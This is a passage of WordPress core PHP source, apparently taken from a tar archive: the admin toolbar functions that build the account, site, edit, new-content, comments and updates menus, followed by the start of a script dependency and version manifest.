@since 3.1.0 * @since 5.4.0 Called on 'wp_body_open' action first, with 'wp_footer' as a fallback. * * @global WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_render() { global $wp_admin_bar; static $rendered = false; if ( $rendered ) { return; } if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) ) { return; } /** * Load all necessary admin bar items. * * This is the hook used to add, remove, or manipulate admin bar items. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance, passed by reference */ do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) ); /** * Fires before the admin bar is rendered. * * @since 3.1.0 */ do_action( 'wp_before_admin_bar_render' ); $wp_admin_bar->render(); /** * Fires after the admin bar is rendered. * * @since 3.1.0 */ do_action( 'wp_after_admin_bar_render' ); $rendered = true; } /** * Add the WordPress logo menu. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_wp_menu( $wp_admin_bar ) { if ( current_user_can( 'read' ) ) { $about_url = self_admin_url( 'about.php' ); } elseif ( is_multisite() ) { $about_url = get_dashboard_url( get_current_user_id(), 'about.php' ); } else { $about_url = false; } $wp_logo_menu_args = array( 'id' => 'wp-logo', 'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' . __( 'About WordPress' ) . '</span>', 'href' => $about_url, ); // Set tabindex="0" to make sub menus accessible when no URL is available. if ( ! $about_url ) { $wp_logo_menu_args['meta'] = array( 'tabindex' => 0, ); } $wp_admin_bar->add_node( $wp_logo_menu_args ); if ( $about_url ) { // Add "About WordPress" link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo', 'id' => 'about', 'title' => __( 'About WordPress' ), 'href' => $about_url, ) ); } // Add WordPress.org link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'wporg', 'title' => __( 'WordPress.org' ), 'href' => __( 'https://wordpress.org/' ), ) ); // Add documentation link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'documentation', 'title' => __( 'Documentation' ), 'href' => __( 'https://wordpress.org/support/' ), ) ); // Add forums link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'support-forums', 'title' => __( 'Support' ), 'href' => __( 'https://wordpress.org/support/forums/' ), ) ); // Add feedback link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'feedback', 'title' => __( 'Feedback' ), 'href' => __( 'https://wordpress.org/support/forum/requests-and-feedback' ), ) ); } /** * Add the sidebar toggle button. * * @since 3.8.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_sidebar_toggle( $wp_admin_bar ) { if ( is_admin() ) { $wp_admin_bar->add_node( array( 'id' => 'menu-toggle', 'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' . __( 'Menu' ) . '</span>', 'href' => '#', ) ); } } /** * Add the "My Account" item. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_my_account_item( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); if ( ! $user_id ) { return; } if ( current_user_can( 'read' ) ) { $profile_url = get_edit_profile_url( $user_id ); } elseif ( is_multisite() ) { $profile_url = get_dashboard_url( $user_id, 'profile.php' ); } else { $profile_url = false; } $avatar = get_avatar( $user_id, 26 ); /* translators: %s: Current user's display name. */ $howdy = sprintf( __( 'Howdy, %s' ), '<span class="display-name">' . $current_user->display_name . '</span>' ); $class = empty( $avatar ) ? '' : 'with-avatar'; $wp_admin_bar->add_node( array( 'id' => 'my-account', 'parent' => 'top-secondary', 'title' => $howdy . $avatar, 'href' => $profile_url, 'meta' => array( 'class' => $class, ), ) ); } /** * Add the "My Account" submenu items. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_my_account_menu( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); if ( ! $user_id ) { return; } if ( current_user_can( 'read' ) ) { $profile_url = get_edit_profile_url( $user_id ); } elseif ( is_multisite() ) { $profile_url = get_dashboard_url( $user_id, 'profile.php' ); } else { $profile_url = false; } $wp_admin_bar->add_group( array( 'parent' => 'my-account', 'id' => 'user-actions', ) ); $user_info = get_avatar( $user_id, 64 ); $user_info .= "<span class='display-name'>{$current_user->display_name}</span>"; if ( $current_user->display_name !== $current_user->user_login ) { $user_info .= "<span class='username'>{$current_user->user_login}</span>"; } $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'user-info', 'title' => $user_info, 'href' => $profile_url, 'meta' => array( 'tabindex' => -1, ), ) ); if ( false !== $profile_url ) { $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'edit-profile', 'title' => __( 'Edit Profile' ), 'href' => $profile_url, ) ); } $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'logout', 'title' => __( 'Log Out' ), 'href' => wp_logout_url(), ) ); } /** * Add the "Site Name" menu. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_site_menu( $wp_admin_bar ) { // Don't show for logged out users. if ( ! is_user_logged_in() ) { return; } // Show only when the user is a member of this site, or they're a super admin. if ( ! is_user_member_of_blog() && ! current_user_can( 'manage_network' ) ) { return; } $blogname = get_bloginfo( 'name' ); if ( ! $blogname ) { $blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() ); } if ( is_network_admin() ) { /* translators: %s: Site title. */ $blogname = sprintf( __( 'Network Admin: %s' ), esc_html( get_network()->site_name ) ); } elseif ( is_user_admin() ) { /* translators: %s: Site title. */ $blogname = sprintf( __( 'User Dashboard: %s' ), esc_html( get_network()->site_name ) ); } $title = wp_html_excerpt( $blogname, 40, '…' ); $wp_admin_bar->add_node( array( 'id' => 'site-name', 'title' => $title, 'href' => ( is_admin() || ! current_user_can( 'read' ) ) ? home_url( '/' ) : admin_url(), ) ); // Create submenu items. if ( is_admin() ) { // Add an option to visit the site. $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'edit-site', 'title' => __( 'Edit Site' ), 'href' => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ), ) ); } } elseif ( current_user_can( 'read' ) ) { // We're on the front end, link to the Dashboard. $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); // Add the appearance submenu items. wp_admin_bar_appearance_menu( $wp_admin_bar ); } } /** * Adds the "Customize" link to the Toolbar. * * @since 4.3.0 * * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance. * @global WP_Customize_Manager $wp_customize */ function wp_admin_bar_customize_menu( $wp_admin_bar ) { global $wp_customize; // Don't show for users who can't access the customizer or when in the admin. if ( ! current_user_can( 'customize' ) || is_admin() ) { return; } // Don't show if the user cannot edit a given customize_changeset post currently being previewed. if ( is_customize_preview() && $wp_customize->changeset_post_id() && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $wp_customize->changeset_post_id() ) ) { return; } $current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if ( is_customize_preview() && $wp_customize->changeset_uuid() ) { $current_url = remove_query_arg( 'customize_changeset_uuid', $current_url ); } $customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() ); if ( is_customize_preview() ) { $customize_url = add_query_arg( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ), $customize_url ); } $wp_admin_bar->add_node( array( 'id' => 'customize', 'title' => __( 'Customize' ), 'href' => $customize_url, 'meta' => array( 'class' => 'hide-if-no-customize', ), ) ); add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' ); } /** * Add the "My Sites/[Site Name]" menu and all submenus. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_my_sites_menu( $wp_admin_bar ) { // Don't show for logged out users or single site mode. if ( ! is_user_logged_in() || ! is_multisite() ) { return; } // Show only when the user has at least one site, or they're a super admin. if ( count( $wp_admin_bar->user->blogs ) < 1 && ! current_user_can( 'manage_network' ) ) { return; } if ( $wp_admin_bar->user->active_blog ) { $my_sites_url = get_admin_url( $wp_admin_bar->user->active_blog->blog_id, 'my-sites.php' ); } else { $my_sites_url = admin_url( 'my-sites.php' ); } $wp_admin_bar->add_node( array( 'id' => 'my-sites', 'title' => __( 'My Sites' ), 'href' => $my_sites_url, ) ); if ( current_user_can( 'manage_network' ) ) { $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-super-admin', ) ); $wp_admin_bar->add_node( array( 'parent' => 'my-sites-super-admin', 'id' => 'network-admin', 'title' => __( 'Network Admin' ), 'href' => network_admin_url(), ) ); $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-d', 'title' => __( 'Dashboard' ), 'href' => network_admin_url(), ) ); if ( current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-s', 'title' => __( 'Sites' ), 'href' => network_admin_url( 'sites.php' ), ) ); } if ( current_user_can( 'manage_network_users' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-u', 'title' => __( 'Users' ), 'href' => network_admin_url( 'users.php' ), ) ); } if ( current_user_can( 'manage_network_themes' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-t', 'title' => __( 'Themes' ), 'href' => network_admin_url( 'themes.php' ), ) ); } if ( current_user_can( 'manage_network_plugins' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-p', 'title' => __( 'Plugins' ), 'href' => network_admin_url( 'plugins.php' ), ) ); } if ( current_user_can( 'manage_network_options' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-o', 'title' => __( 'Settings' ), 'href' => network_admin_url( 'settings.php' ), ) ); } } // Add site links. $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-list', 'meta' => array( 'class' => current_user_can( 'manage_network' ) ? 'ab-sub-secondary' : '', ), ) ); foreach ( (array) $wp_admin_bar->user->blogs as $blog ) { switch_to_blog( $blog->userblog_id ); $blavatar = '<div class="blavatar"></div>'; $blogname = $blog->blogname; if ( ! $blogname ) { $blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() ); } $menu_id = 'blog-' . $blog->userblog_id; if ( current_user_can( 'read' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => admin_url(), ) ); $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-d', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); } else { $wp_admin_bar->add_node( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => home_url(), ) ); } if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) { $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-n', 'title' => get_post_type_object( 'post' )->labels->new_item, 'href' => admin_url( 'post-new.php' ), ) ); } if ( current_user_can( 'edit_posts' ) ) { $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-c', 'title' => __( 'Manage Comments' ), 'href' => admin_url( 'edit-comments.php' ), ) ); } $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-v', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); restore_current_blog(); } } /** * Provide a shortlink. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_shortlink_menu( $wp_admin_bar ) { $short = wp_get_shortlink( 0, 'query' ); $id = 'get-shortlink'; if ( empty( $short ) ) { return; } $html = '<input class="shortlink-input" type="text" readonly="readonly" value="' . esc_attr( $short ) . '" />'; $wp_admin_bar->add_node( array( 'id' => $id, 'title' => __( 'Shortlink' ), 'href' => $short, 'meta' => array( 'html' => $html ), ) ); } /** * Provide an edit link for posts and terms. * * @since 3.1.0 * * @global WP_Term $tag * @global WP_Query $wp_the_query WordPress Query object. * @global int $user_id The ID of the user being edited. Not to be confused with the * global $user_ID, which contains the ID of the current user. * @global int $post_id The ID of the post when editing comments for a single post. * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_edit_menu( $wp_admin_bar ) { global $tag, $wp_the_query, $user_id, $post_id; if ( is_admin() ) { $current_screen = get_current_screen(); $post = get_post(); $post_type_object = null; if ( 'post' === $current_screen->base ) { $post_type_object = get_post_type_object( $post->post_type ); } elseif ( 'edit' === $current_screen->base ) { $post_type_object = get_post_type_object( $current_screen->post_type ); } elseif ( 'edit-comments' === $current_screen->base && $post_id ) { $post = get_post( $post_id ); if ( $post ) { $post_type_object = get_post_type_object( $post->post_type ); } } if ( ( 'post' === $current_screen->base || 'edit-comments' === $current_screen->base ) && 'add' !== $current_screen->action && ( $post_type_object ) && current_user_can( 'read_post', $post->ID ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) ) { if ( 'draft' === $post->post_status ) { $preview_link = get_preview_post_link( $post ); $wp_admin_bar->add_node( array( 'id' => 'preview', 'title' => $post_type_object->labels->view_item, 'href' => esc_url( $preview_link ), 'meta' => array( 'target' => 'wp-preview-' . $post->ID ), ) ); } else { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => $post_type_object->labels->view_item, 'href' => get_permalink( $post->ID ), ) ); } } elseif ( 'edit' === $current_screen->base && ( $post_type_object ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) && ( get_post_type_archive_link( $post_type_object->name ) ) && ! ( 'post' === $post_type_object->name && 'posts' === get_option( 'show_on_front' ) ) ) { $wp_admin_bar->add_node( array( 'id' => 'archive', 'title' => $post_type_object->labels->view_items, 'href' => get_post_type_archive_link( $current_screen->post_type ), ) ); } elseif ( 'term' === $current_screen->base && isset( $tag ) && is_object( $tag ) && ! is_wp_error( $tag ) ) { $tax = get_taxonomy( $tag->taxonomy ); if ( is_taxonomy_viewable( $tax ) ) { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => $tax->labels->view_item, 'href' => get_term_link( $tag ), ) ); } } elseif ( 'user-edit' === $current_screen->base && isset( $user_id ) ) { $user_object = get_userdata( $user_id ); $view_link = get_author_posts_url( $user_object->ID ); if ( $user_object->exists() && $view_link ) { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => __( 'View User' ), 'href' => $view_link, ) ); } } } else { $current_object = $wp_the_query->get_queried_object(); if ( empty( $current_object ) ) { return; } if ( ! empty( $current_object->post_type ) ) { $post_type_object = get_post_type_object( $current_object->post_type ); $edit_post_link = get_edit_post_link( $current_object->ID ); if ( $post_type_object && $edit_post_link && current_user_can( 'edit_post', $current_object->ID ) && $post_type_object->show_in_admin_bar ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => $post_type_object->labels->edit_item, 'href' => $edit_post_link, ) ); } } elseif ( ! empty( $current_object->taxonomy ) ) { $tax = get_taxonomy( $current_object->taxonomy ); $edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy ); if ( $tax && $edit_term_link && current_user_can( 'edit_term', $current_object->term_id ) ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => $tax->labels->edit_item, 'href' => $edit_term_link, ) ); } } elseif ( is_a( $current_object, 'WP_User' ) && current_user_can( 'edit_user', $current_object->ID ) ) { $edit_user_link = get_edit_user_link( $current_object->ID ); if ( $edit_user_link ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => __( 'Edit User' ), 'href' => $edit_user_link, ) ); } } } } /** * Add "Add New" menu. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_new_content_menu( $wp_admin_bar ) { $actions = array(); $cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' ); if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) ) { $actions['post-new.php'] = array( $cpts['post']->labels->name_admin_bar, 'new-post' ); } if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) ) { $actions['media-new.php'] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' ); } if ( current_user_can( 'manage_links' ) ) { $actions['link-add.php'] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' ); } if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) ) { $actions['post-new.php?post_type=page'] = array( $cpts['page']->labels->name_admin_bar, 'new-page' ); } unset( $cpts['post'], $cpts['page'], $cpts['attachment'] ); // Add any additional custom post types. foreach ( $cpts as $cpt ) { if ( ! current_user_can( $cpt->cap->create_posts ) ) { continue; } $key = 'post-new.php?post_type=' . $cpt->name; $actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name ); } // Avoid clash with parent node and a 'content' post type. if ( isset( $actions['post-new.php?post_type=content'] ) ) { $actions['post-new.php?post_type=content'][1] = 'add-new-content'; } if ( current_user_can( 'create_users' ) || ( is_multisite() && current_user_can( 'promote_users' ) ) ) { $actions['user-new.php'] = array( _x( 'User', 'add new from admin bar' ), 'new-user' ); } if ( ! $actions ) { return; } $title = '<span class="ab-icon"></span><span class="ab-label">' . _x( 'New', 'admin bar menu group label' ) . '</span>'; $wp_admin_bar->add_node( array( 'id' => 'new-content', 'title' => $title, 'href' => admin_url( current( array_keys( $actions ) ) ), ) ); foreach ( $actions as $link => $action ) { list( $title, $id ) = $action; $wp_admin_bar->add_node( array( 'parent' => 'new-content', 'id' => $id, 'title' => $title, 'href' => admin_url( $link ), ) ); } } /** * Add edit comments link with awaiting moderation count bubble. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_comments_menu( $wp_admin_bar ) { if ( ! current_user_can( 'edit_posts' ) ) { return; } $awaiting_mod = wp_count_comments(); $awaiting_mod = $awaiting_mod->moderated; $awaiting_text = sprintf( /* translators: %s: Number of comments. */ _n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_mod ), number_format_i18n( $awaiting_mod ) ); $icon = '<span class="ab-icon"></span>'; $title = '<span class="ab-label awaiting-mod pending-count count-' . $awaiting_mod . '" aria-hidden="true">' . number_format_i18n( $awaiting_mod ) . '</span>'; $title .= '<span class="screen-reader-text comments-in-moderation-text">' . $awaiting_text . '</span>'; $wp_admin_bar->add_node( array( 'id' => 'comments', 'title' => $icon . $title, 'href' => admin_url( 'edit-comments.php' ), ) ); } /** * Add appearance submenu items to the "Site Name" menu. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_appearance_menu( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'parent' => 'site-name', 'id' => 'appearance', ) ); if ( current_user_can( 'switch_themes' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'themes', 'title' => __( 'Themes' ), 'href' => admin_url( 'themes.php' ), ) ); } if ( ! current_user_can( 'edit_theme_options' ) ) { return; } if ( current_theme_supports( 'widgets' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'widgets', 'title' => __( 'Widgets' ), 'href' => admin_url( 'widgets.php' ), ) ); } if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'menus', 'title' => __( 'Menus' ), 'href' => admin_url( 'nav-menus.php' ), ) ); } if ( current_theme_supports( 'custom-background' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'background', 'title' => __( 'Background' ), 'href' => admin_url( 'themes.php?page=custom-background' ), 'meta' => array( 'class' => 'hide-if-customize', ), ) ); } if ( current_theme_supports( 'custom-header' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'header', 'title' => __( 'Header' ), 'href' => admin_url( 'themes.php?page=custom-header' ), 'meta' => array( 'class' => 'hide-if-customize', ), ) ); } } /** * Provide an update link if theme/plugin/core updates are available. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_updates_menu( $wp_admin_bar ) { $update_data = wp_get_update_data(); if ( ! $update_data['counts']['total'] ) { return; } $title = '<span class="ab-icon"></span><span class="ab-label">' . number_format_i18n( $update_data['counts']['total'] ) . '</span>'; $title .= '<span class="screen-reader-text">' . $update_data['title'] . '</span>'; $wp_admin_bar->add_node( array( 'id' => 'updates', 'title' => $title, 'href' => network_admin_url( 'update-core.php' ), 'meta' => array( 'title' => $update_data['title'], ), ) ); } /** * Add search form. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_search_menu( $wp_admin_bar ) { if ( is_admin() ) { return; } $form = '<form action="' . esc_url( home_url( '/' ) ) . '" method="get" id="adminbarsearch">'; $form .= '<input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" />'; $form .= '<label for="adminbar-search" class="screen-reader-text">' . __( 'Search' ) . '</label>'; $form .= '<input type="submit" class="adminbar-button" value="' . __( 'Search' ) . '"/>'; $form .= '</form>'; $wp_admin_bar->add_node( array( 'parent' => 'top-secondary', 'id' => 'search', 'title' => $form, 'meta' => array( 'class' => 'admin-bar-search', 'tabindex' => -1, ), ) ); } /** * Add a link to exit recovery mode when Recovery Mode is active. * * @since 5.2.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_recovery_mode_menu( $wp_admin_bar ) { if ( ! wp_is_recovery_mode() ) { return; } $url = wp_login_url(); $url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url ); $url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION ); $wp_admin_bar->add_node( array( 'parent' => 'top-secondary', 'id' => 'recovery-mode', 'title' => __( 'Exit Recovery Mode' ), 'href' => $url, ) ); } /** * Add secondary menus. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'id' => 'top-secondary', 'meta' => array( 'class' => 'ab-top-secondary', ), ) ); $wp_admin_bar->add_group( array( 'parent' => 'wp-logo', 'id' => 'wp-logo-external', 'meta' => array( 'class' => 'ab-sub-secondary', ), ) ); } /** * Style and scripts for the admin bar. * * @since 3.1.0 */ function wp_admin_bar_header() { $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; ?> <style<?php echo $type_attr; ?> media="print">#wpadminbar { display:none; }</style> <?php } /** * Default admin bar callback. * * @since 3.1.0 */ function _admin_bar_bump_cb() { $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; ?> <style<?php echo $type_attr; ?> media="screen"> html { margin-top: 32px !important; } * html body { margin-top: 32px !important; } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } * html body { margin-top: 46px !important; } } </style> <?php } /** * Sets the display status of the admin bar. * * This can be called immediately upon plugin load. It does not need to be called * from a function hooked to the {@see 'init'} action. * * @since 3.1.0 * * @global bool $show_admin_bar * * @param bool $show Whether to allow the admin bar to show. */ function show_admin_bar( $show ) { global $show_admin_bar; $show_admin_bar = (bool) $show; } /** * Determines whether the admin bar should be showing. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.1.0 * * @global bool $show_admin_bar * @global string $pagenow * * @return bool Whether the admin bar should be showing. */ function is_admin_bar_showing() { global $show_admin_bar, $pagenow; // For all these types of requests, we never want an admin bar. if ( defined( 'XMLRPC_REQUEST' ) || defined( 'DOING_AJAX' ) || defined( 'IFRAME_REQUEST' ) || wp_is_json_request() ) { return false; } if ( is_embed() ) { return false; } // Integrated into the admin. if ( is_admin() ) { return true; } if ( ! isset( $show_admin_bar ) ) { if ( ! is_user_logged_in() || 'wp-login.php' === $pagenow ) { $show_admin_bar = false; } else { $show_admin_bar = _get_admin_bar_pref(); } } /** * Filters whether to show the admin bar. * * Returning false to this hook is the recommended way to hide the admin bar. * The user's display preference is used for logged in users. * * @since 3.1.0 * * @param bool $show_admin_bar Whether the admin bar should be shown. Default false. */ $show_admin_bar = apply_filters( 'show_admin_bar', $show_admin_bar ); return $show_admin_bar; } /** * Retrieve the admin bar display preference of a user. * * @since 3.1.0 * @access private * * @param string $context Context of this preference check. Defaults to 'front'. The 'admin' * preference is no longer used. * @param int $user Optional. ID of the user to check, defaults to 0 for current user. * @return bool Whether the admin bar should be showing for this user. */ function _get_admin_bar_pref( $context = 'front', $user = 0 ) { $pref = get_user_option( "show_admin_bar_{$context}", $user ); if ( false === $pref ) { return true; } return 'true' === $pref; } ����������������������������assets/script-loader-packages.php�������������������������������������������������������������������0000644�����������������00000022045�15120262027�0013103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php return array('a11y.js' => array('dependencies' => array('wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => '5e00de7a43b31bbb9eaf685f089a3903'), 'annotations.js' => array('dependencies' => array('lodash', 'wp-data', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '1cc893b57777f2cf1759aafa16203401'), 'api-fetch.js' => array('dependencies' => array('wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => 'a783d1f442d2abefc7d6dbd156a44561'), 'autop.js' => array('dependencies' => array('wp-polyfill'), 'version' => '31f0fb8bb0841ffcfb23a7c3703eb382'), 'blob.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'a0108ef6c9ee1a6a6f732ce03fe0826b'), 'block-directory.js' => array('dependencies' => array('lodash', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-data-controls', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-primitives'), 'version' => '43ca972b5a31f2c376c8c7c222794cf6'), 'block-editor.js' => array('dependencies' => array('lodash', 'react', 'wp-a11y', 'wp-blob', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-shortcode', 'wp-token-list', 'wp-url', 'wp-wordcount'), 'version' => '4378547cec8f5157a02ead3dfc5c65b2'), 'block-library.js' => array('dependencies' => array('lodash', 'moment', 'react', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-reusable-blocks', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport'), 'version' => '4b3da3c60adda2759bc8fc8e75177167'), 'block-serialization-default-parser.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'b88372fe5cb856a54e6c1133d7b8769b'), 'blocks.js' => array('dependencies' => array('lodash', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-primitives', 'wp-shortcode'), 'version' => '9ed25ffa009c799f99a4340915b6dc6a'), 'components.js' => array('dependencies' => array('lodash', 'moment', 'react', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-warning'), 'version' => '05cdf30cf2623cd4539a5c19832b0114'), 'compose.js' => array('dependencies' => array('lodash', 'react', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-priority-queue'), 'version' => '2992ad367077bac67cff98221f7cc481'), 'core-data.js' => array('dependencies' => array('lodash', 'wp-api-fetch', 'wp-blocks', 'wp-data', 'wp-data-controls', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-url'), 'version' => 'cae70cc4927f8b371fa13262d47b23e0'), 'data.js' => array('dependencies' => array('lodash', 'react', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-priority-queue', 'wp-redux-routine'), 'version' => '943087ae96d075f126df689839bb96b9'), 'data-controls.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated', 'wp-polyfill'), 'version' => 'c97ad7aa306e1158524215480bab9553'), 'date.js' => array('dependencies' => array('moment', 'wp-polyfill'), 'version' => 'e44c6aaa6f78b408b2505ac9bfb0a862'), 'deprecated.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => 'be1d4376501c21d85ba98dd28ca2d7ea'), 'dom.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => '671f146cf127795e6a263e97355441bb'), 'dom-ready.js' => array('dependencies' => array('wp-polyfill'), 'version' 